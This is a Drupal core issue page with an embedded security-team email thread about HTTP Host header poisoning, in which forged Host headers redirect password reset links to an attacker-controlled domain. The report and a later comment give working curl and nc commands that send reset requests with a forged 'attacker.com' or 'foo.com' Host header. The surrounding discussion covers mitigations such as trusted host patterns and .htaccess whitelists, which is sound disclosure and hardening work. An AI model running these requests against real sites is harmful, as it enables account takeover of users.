HTTP_HOST header cannot be trusted

Created on 19 March 2014, over 10 years ago
Updated 12 May 2024, 6 months ago

This issue has been handled by the Drupal Security Team in private and it was decided that this security hardening issue can be handled in public. See also, Handbook for Protecting against HTTP HOST Header attacks .

Problem/Motivation

An attacker can construct an HTTP POST request that changes the domain used in the password reset link.

For example, a password reset link for a Drupal site at example.com
might look like:

http://example.com/?q=user/reset/1/123abc

but the attacker can change the domain to anything:

http://foo.com/?q=user/reset/1/123abc

This can be exploited if the webserver is configured to forward any request to Drupal regardless of the domain name used in the request (catch all config).

Proposed resolution

  • Use Symfony trusted host mechanism, configured from settings.php.
  • During installation from the UI, add hostname that the installer was run from as a trusted host
  • Document how additional hosts can be whitelisted in default.settings.php and example.settings.local.php

Remaining tasks

Update Handbook after patch has been comitted.

User interface changes

None.

API changes

New setting: $settings['trusted_host_patterns'], an array of regular expression patterns representing the trusted hosts.

Beta phase evaluation

Original security team discussion thread

Description of Exploit

An attacker can construct an HTTP POST request that changes the domain
used in the password reset link.

For example, a password reset link for a Drupal site at example.com
might look like:

http://example.com/?q=user/reset/1/123abc

but the attacker can change the domain to anything:

http://foo.com/?q=user/reset/1/123abc

This allows the attacker to intercept the password reset URL and login
as the user, if the user clicks the link.

Drupal Version Exploited

7.22

Steps to Reproduce

Assume the Drupal instance is hosted at "example.com", has a user
named "root" and the attacker controls 'foo.com'. Execute these
commands on a linux system:

SERVER='example.com'
EVIL_SERVER='foo.com'
USERNAME='root'

Get the form_build_id from the password reset form:

FORM_BUILD_ID=`curl -s http://$SERVER/?q=user/password | grep
"form_build_id" | cut -d'"' -f6`

Build up the POST query parameters:

POST="name=$USERNAME&form_build_id=$FORM_BUILD_ID&form_id=user_pass&op=E-mail+new+password"

Calculate the length of the parameters:

LENGTH=`echo $POST | wc -c`

Build the request:

echo "POST http://$SERVER/?q=user/password HTTP/1.1
HOST: $EVIL_SERVER
Content-Length: $LENGTH
Content-Type: application/x-www-form-urlencoded

$POST
" > request.txt

Send the request:

nc $SERVER 80 < request.txt

The user "root" will now receive an email to reset his password. The
URL will be something like: http://foo.com/?q=user/reset/1/abc123

How to Fix

HTTP_HOST is user input, and should not be used without proper
sanitation. Possible solutions:

Check HTTP_HOST against a whitelist of acceptable HTTP_HOSTs defined
by the administrator (Django takes this approach).
Replace HTTP_HOST with site_name from the variable table in the Drupal
database in drupal_environment_initialize()
Replace HTTP_HOST with SERVER_NAME in drupal_environment_initialize()

Related Exploits

Just read: http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks...
--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Owen Barton
Date: Tue, May 7, 2013 at 3:12 PM
To: security@drupal.org

List only,

This is exactly the issue (and article!) we were discussing last week. As we suspected, this is reproducible in Drupal, given an appropriate "IP-only, any domain will do" server config and no special .htaccess or Drupal configuration.

Probably we should explain that there is no (easy) technical fix possible in Drupal (SERVER_NAME is also not secure, IIRC) and respond with the Greg's documentation page. Perhaps it would be good to try and get sign-off from Acquia to move that onto drupal.org too. Do we think this warrants a security PSA (or perhaps include it in a general one)?

If we do attempt a fix, it seems to me it had might as well be public, as most servers are not set up this way. I posted one suggestion in the prior thread (DNS based validation) - if people think that is feasible I am happy to open an issue.

Thanks!
- Owen
--
Owen Barton, CivicActions, Inc.
cell: 805-699-6099, skype/irc: grugnog

----------
From: Matt Chapman
Date: Tue, May 7, 2013 at 3:33 PM
To: security

Owen, et all,

Intercepting the one-time login token does NOT depend on server config. It only requires that $base_url is not explicitly set. The attack does not require that the link in the password reset email be directed to the real drupal server; it can link to any server controlled by the attacker, who can use the token to reset the victim's password before the victim visits the real drupal site.

All the Best,

Matt Chapman
Ninjitsu Web Development
http://www.NinjitsuWeb.com
ph: 818-660-6465 (818-660-NINJA)
fx: 888-702-3095

http://www.linkedin.com/profile/view?id=13333058

If you want to endorse my skills on Linked In, the most valuable endorsements to me are "Open Source" and "Software Development."

--
The contents of this message should be assumed to be Confidential, and may not be disclosed without permission of the sender.

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Owen Barton
Date: Tue, May 7, 2013 at 3:47 PM
To: security@drupal.org

Hi Matt,

If a server is set up to direct all requests to that IP to that docroot (fairly common if you have a server that hosts only a single site, e.g. in Apache if you configure via httpd.conf, rather than a virtual host file), then I agree, this attack works as described. I also agree that the link in the email can go anywhere if you accomplish this - my point was about the routing of the POST in the first place.

If a server is set up with name based virtual hosting (which in my experience is a very common production configuration), and configured to host mydomain.com, it will not route the malicious POST that would generate the link to attacker.com in the e-mail to the Drupal site in the first place. To put it another way, how would an attacker pass a POST for attacker.com through a web server that is configured to respond to mydomain.com to the mydomain.com docroot? This server is using the client provided name to route the request, and if it does not match it would be routed to the default host (i.e. what is configured in httpd.conf - most often an empty /var/www/html directory).

For the same reason, a whitelist based .htaccess redirect protects against this - e.g.:
RewriteCond %{HTTP_HOST} !^mydomain\.com$ [NC]
RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L]

Thanks!
- Owen

----------
From: Matt Chapman
Date: Tue, May 7, 2013 at 4:05 PM
To: security

Owen,

You're right. I was thinking of some various convoluted appoaches using rinetd and the like, but they all still depend on apache being configured to answer for any domain name.

The rewrite rule seems like a good recommendation for users who don't control their apache conf and want to support more than one $base_url.

All the Best,

Matt Chapman
Ninjitsu Web Development
http://www.NinjitsuWeb.com
ph: 818-660-6465 (818-660-NINJA)
fx: 888-702-3095

http://www.linkedin.com/profile/view?id=13333058

If you want to endorse my skills on Linked In, the most valuable endorsements to me are "Open Source" and "Software Development."

--
The contents of this message should be assumed to be Confidential, and may not be disclosed without permission of the sender.

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Greg Knaddison
Date: Fri, May 10, 2013 at 8:56 AM
To: Security Team

I posted the article to http://drupal.org/node/1992030 - no approval from Acquia is necessary given the license on the content.

Please do improve it.

Regards,
Greg

--
Greg Knaddison | 720-310-5623 | http://knaddison.com | http://twitter.com/greggles

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Stella Power
Date: Mon, May 13, 2013 at 1:33 AM
To: Matthew
Cc: security@drupal.org

Hi Matthew,

We've recently published a handbook page at http://drupal.org/node/1992030 which explains how to protect your site from HTTP HOST header attacks.

Thank you for reporting this issue to the Drupal security team.

Regards,

Stella Power,
on behalf of the Drupal Security team

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Matthew Johnson
Date: Mon, May 13, 2013 at 9:13 AM
To: Stella Power
Cc: security

Thank you for the response Stella. There are some inaccuracies in the article that was posted, however. The source of the article is over a year old, and I don't believe this exploit, which makes use of a technicality in RFC-2616, section 5.2 was widely known then. There are a few dangerous and incorrect assertions in the article:

...but in a worst-case scenario could lead to them entering a password into http://other-site.example.org - a so-called social engineering attack.

This is not the worst-case scenario. The user need not ever enter their password. In the exploit I described in my original email, the user simply needs to click the one-time login link, and the attacker will gain access to their account. End of story. I hope I gave sufficient instruction on how to replicate this attack.

These two solutions do not prevent this attack:

3. Configure your webserver so that the default page served when an incoming request is something other than your default Drupal installation, such as an error page.

4. Configure your webserver to redirect all requests that reach your server that are not for the appropriate domain to forward to the right domain name.

RFC 2616, section 5.2, states:

If Request-URI is an absoluteURI, the host is part of the Request-URI. Any Host header field value in the request MUST be ignored.

Any RFC 2616 conforming web server will gladly deliver an HTTP request with a forged HTTP host header, to a specific (non-default) virtual host if the Request-URI field is an absoluteURI.

Matt
--
Matt Johnson
Programmer, Academic & Research Computing
Office of Information Technologies
Portland State University

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Owen Barton
Date: Mon, May 13, 2013 at 9:31 AM
To: security@drupal.org

I hadn't followed the "Request-URI is an absoluteURI" part before - if this is how web servers behave (which it seems likely to be) and it does not parse the "effective host" into the PHP environment, then this could be a big problem - the HOST header could be completely forged, even in a named vhost type setup, even with .htaccess redirects. Of course, the proof is in the pudding - I think we need to test out this specific scenario, and dump the PHP environment.

- O
Owen Barton, CivicActions, Inc.
cell: 805-699-6099, skype/irc: grugnog

----------
From: Peter Wolanin
Date: Mon, May 13, 2013 at 9:35 AM
To: security@drupal.org

Yes, agreed - though the step of not using sites/default should
protect you in this case. I'll note also the D7 sites.php facility
that can be used to let several arbitrary domains use the same
settings file if needed for dev/stage/prod.

-Peter

--
Owen Barton, CivicActions, Inc.
cell: 805-699-6099, skype/irc: grugnog

Core

Comments
Thu, 2013-05-23 22:05 — Owen Barton
#1

We had a session around this issue after the security meeting at Drupalcon.

Results:

Owen and Ben were able to reproduce the issue of $_SERVER[‘HTTP_HOST’] being set to an attackers domain as reported, using a sites/default with no $base_url set.
Owen also confirmed that the generated mail is using the attackers domain as in the report.
In addition to the e-mail password reset token issue, we could imagine other attack scenarios due to Drupal thinking it’s own URL is the attackers (we could see the attackers URL in drupal_goto redirects etc), for example around OpenID/oAuth or remote API calls that may specify a callback URI (callback domain would be set to the attackers server).

Potential mitigations:

Setting $base_url to a specific value in settings.php.
We discussed automatically setting this to the installing user’s reported HTTP_HOST during install.php, which should make new installs safe by default (existing sites would need a PSA and manual config).
Using sites.php to implement a whitelist.
Using only sites/mysite.com style sites directory with no (working) sites/default directory/symlink.
Using a whitelist based .htaccess redirect based on HTTP_HOST (could also be implemented at reverse proxy), as below:
RewriteCond %{HTTP_HOST} !^mydomain\.com$ [NC]
RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L]
The reporter said this did not work as HTTP_HOST should be ignored per the RFP - however, here we are checking that header explicitly, to ensure it is safe before Drupal sees it. The rule must not be based upon the “detected domain” however, since that would prefer the Request-URI host.

Insecure or weak (non)-mitigations:

Name based virtual hosts or similar mechanisms that rely on the “detected” host.
This is because they are (per RFC spec) using the domain from an absolute Request-URI for vhost detection, and ignoring the HTTP_HOST header.
Checking HTTP_HOST against a DNS lookup, to ensure it resolves against a trusted IP (server IP or trusted reverse proxies) - for example:
if (gethostbyname($_SERVER['HTTP_HOST']) != $_SERVER['SERVER_ADDR']) { die; }
This may be vulnerable to cache poisoning attacks however, as well as the attacker switching their DNS during the delay between e-mail generation and the user clicking on the link.

General hardening possibilities (can perhaps be public?):
Disable “magic” host detection (i.e. sites/default with no $base_url) by default, and only enable if a user has uncommented an appropriate $conf[‘auto_base_url_yes_i_have_set_up_a_whitelist’] settings.php option. This would need to be combined with auto-setting of $base_url for new installs, of course.
Overwriting the $_SERVER[‘HTTP_HOST’] variable with the configured $base_url host during drupal_valid_http_host(). This helps because some core code uses HTTP_HOST and contrib/library code is quite likely to check HTTP_HOST directly, for a while at least.

delete
edit
reply

Thu, 2013-05-23 22:47 — Owen Barton
#2

I have confirmed this issue is present with Drupal 8 also. Here is a simple one liner to reproduce:

SERVER=testhost.com
FORM_BUILD_ID=`curl -s http://$SERVER/user/password | grep "form_build_id" | cut -d'"' -f6` && curl "http://$SERVER/user/password" -H "Host: attacker.com" -H "Content-Type: application/x-www-form-urlencoded" --data "name=admin&form_build_id=$FORM_BUILD_ID&form_id=user_pass&op=E-mail+new+password"

delete
edit
reply

Tue, 2013-07-30 22:43 — scor
#3
View grants: +fabpot

delete
edit
reply

Sat, 2013-12-07 17:47 — dokumori
#4
Assigned to: Anonymous » pwolanin

Assigning to @pwolanin

delete
edit
reply

Sat, 2013-12-07 18:37 — pwolanin
#5

So, I'm not sure I see anything here that has to be private, given that https://drupal.org/node/1992030 is already public and known?

Setting $base_url on install seems like it would be disruptive and annoying? e.g. I have to rework the settings.php file if I move a local install to a server? Better might be a new variable or setting (settings page?) that's a white list of expected domains - in line with what the OP mentions "(Django takes this approach)."

Perhaps Drupal should give requirements errors if this is not set AND the sites directory is not domain based? Not sure how to handle sites.php use, however - I guess if you've implemented that the message should also be suppressed?

While-listing the expected domains in .htaccess and other approaches seem like the should be documented?

delete
edit
reply

Sat, 2013-12-07 18:41 — Damien Tournoud
#6

Name based virtual hosts or similar mechanisms that rely on the “detected” host.
This is because they are (per RFC spec) using the domain from an absolute Request-URI for vhost detection, and ignoring the HTTP_HOST header.

I still think this is the only decent way to fix the problem. We need to be able to trust what the infrastructure (ie. the web server) is telling us. The use of an absolute Request-URI is kind of a corner case and we should be able to workaround it?

🐛 Bug report
Status

Fixed

Version

8.0 ⚰️

Component
Base 

Last updated about 1 hour ago

Created by

🇦🇹Austria klausi 🇦🇹 Vienna

Live updates comments and jobs are added and updated live.
  • Security improvements

    It makes Drupal less vulnerable to abuse or misuse. Note, this is the preferred tag, though the Security tag has a large body of issues tagged to it. Do NOT publicly disclose security vulnerabilities; contact the security team instead. Anyone (whether security team or not) can apply this tag to security improvements that do not directly present a vulnerability e.g. hardening an API to add filtering to reduce a common mistake in contributed modules.

  • Security

    It is used for security vulnerabilities which do not need a security advisory. For example, security issues in projects which do not have security advisory coverage, or forward-porting a change already disclosed in a security advisory. See Drupal’s security advisory policy for details. Be careful publicly disclosing security vulnerabilities! Use the “Report a security vulnerability” link in the project page’s sidebar. See how to report a security issue for details.

Sign in to follow issues

Merge Requests

Comments & Activities

Not all content is available!

It's likely this issue predates Contrib.social: some issue and comment data are missing.

Production build 0.71.5 2024